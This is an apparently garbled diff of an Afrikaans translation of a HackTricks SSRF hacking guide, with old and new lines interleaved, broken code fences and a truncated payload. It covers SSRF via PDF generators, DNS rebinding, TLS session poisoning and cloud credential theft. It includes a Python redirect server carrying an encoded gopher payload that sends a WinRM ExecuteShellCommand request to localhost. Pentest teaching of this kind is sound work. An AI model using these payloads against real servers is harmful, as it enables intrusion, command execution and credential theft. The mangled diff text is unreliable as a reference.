As die webblad outomaties 'n PDF skep met 'n paar inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## Vanaf SSRF tot DoS
## Van SSRF tot DoS
Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF van die sessies te misbruik.
## SSRF PHP Funksies
Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress-funksies:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Omskakel na Gopher
## SSRF Omskakeling na Gopher
Vir sommige uitbuitings mag jy nodig hê om **'n omleiding antwoord te stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om met 'n omleiding te antwoord:
Vir sommige uitbuitings mag jy **'n omleiding antwoord stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om met 'n omleiding te antwoord:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -183,7 +183,7 @@ print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```html
```plaintext
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
@ -206,8 +206,8 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer workflows** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
@ -275,7 +275,7 @@ $response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
</besonderhede>
PHP laat die gebruik van die **karakter `*` voor 'n skuiwe in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die hoofpadnaam `/` gebruik kan word en dat kolletjies `.` nie voor die eerste skuiwe toegelaat word nie, dus is dit nodig om 'n puntlose-heksgekodeerde IP-adres te gebruik byvoorbeeld:
```http
@ -285,7 +285,7 @@ Connection: close
```
## DNS Rebidding CORS/SOP bypass
Indien jy **probleme** ondervind om inhoud van 'n plaaslike IP **uit te sif** as gevolg van **CORS/SOP**, kan **DNS Rebidding** gebruik word om daardie beperking te omseil:
As jy **probleme** ondervind om **inhoud van 'n plaaslike IP** te **eksfileer** as gevolg van **CORS/SOP**, kan **DNS Rebidding** gebruik word om daardie beperking te omseil:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
@ -293,9 +293,9 @@ Indien jy **probleme** ondervind om inhoud van 'n plaaslike IP **uit te sif** as
### Geoutomatiseerde DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam na die teikenrekenaar se IP-adres te herbind en aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam na die teikenrekenaar se IP-adres te herbind en aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.
Kyk ook na die **openbaar lopende bediener in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
Kyk ook na die **openbaar bedrywende bediener in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS-sessie-ID/Sessietiket
@ -310,9 +310,9 @@ Aanval:
1. Vra die gebruiker/bot om **toegang** tot 'n **domein** wat deur die **aanvaller** beheer word
2. Die **TTL** van die **DNS** is **0** sek (sodat die slagoffer binnekort weer die IP van die domein sal nagaan)
3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller voeg die **pakkie binne** die **Sessie-ID of Sessietiket** in.
4. Die **domein** sal 'n **oneindige kringloop** van herleiings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat benader totdat dit **weer** 'n **DNS-versoek** van die domein uitvoer.
5. In die DNS-versoek word 'n **privaat IP**-adres **nou** gegee (byvoorbeeld 127.0.0.1)
6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Tiket-ID stuur (waarin die **pakkie** van die aanvaller ingesluit was). So geluk, jy het dit reggekry om die **gebruiker/bot homself aan te val**.
4. Die **domein** sal 'n **oneindige lus** van herleiings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat besoek totdat dit **weer** 'n **DNS-aanvraag** van die domein uitvoer.
5. In die DNS-aanvraag word 'n **privaat IP**-adres **nou** gegee (byvoorbeeld 127.0.0.1)
6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Tiket-ID **stuur** (waarin die **pakkie** van die aanvaller ingesluit was). So geluk met die suksesvolle versoek om die **gebruiker/bot homself aan te val**.
Let wel dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\
Om **hierdie aanval uit te voer, kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
@ -320,15 +320,15 @@ Vir **meer inligting** kyk na die aanbieding waar hierdie aanval verduidelik wor
## Blinde SSRF
Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat in die blinde jy nie die respons van die SSRF-versoek kan sien nie. Dit is dus moeiliker om te misbruik omdat jy slegs bekende kwesbaarhede sal kan misbruik.
Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat in die blinde jy nie die respons van die SSRF-aanvraag kan sien nie. Dit is dus moeiliker om te misbruik omdat jy slegs bekende kwesbaarhede sal kan misbruik.
### Tyd-gebaseerde SSRF
Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (miskien neem dit langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie)
Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (dit neem miskien langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie)
## Cloud SSRF Uitbuiting
## Cloud SSRF-uitbuiting
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing hardloop, vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe:
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
@ -365,7 +365,7 @@ Hierdie hulpmiddel genereer Gopher-pakkette vir:
* [Blogpos oor SSRF-gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_ kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-pakkie vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word.
_remote-method-guesser_ is 'n _Java RMI_-kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_-kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-pakkie vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
@ -384,13 +384,13 @@ SSRF Proxy is 'n multi-draad HTTP-proksiebediener wat ontwerp is om kliënt-HTTP
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -399,7 +399,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaps-hulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaps-hulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}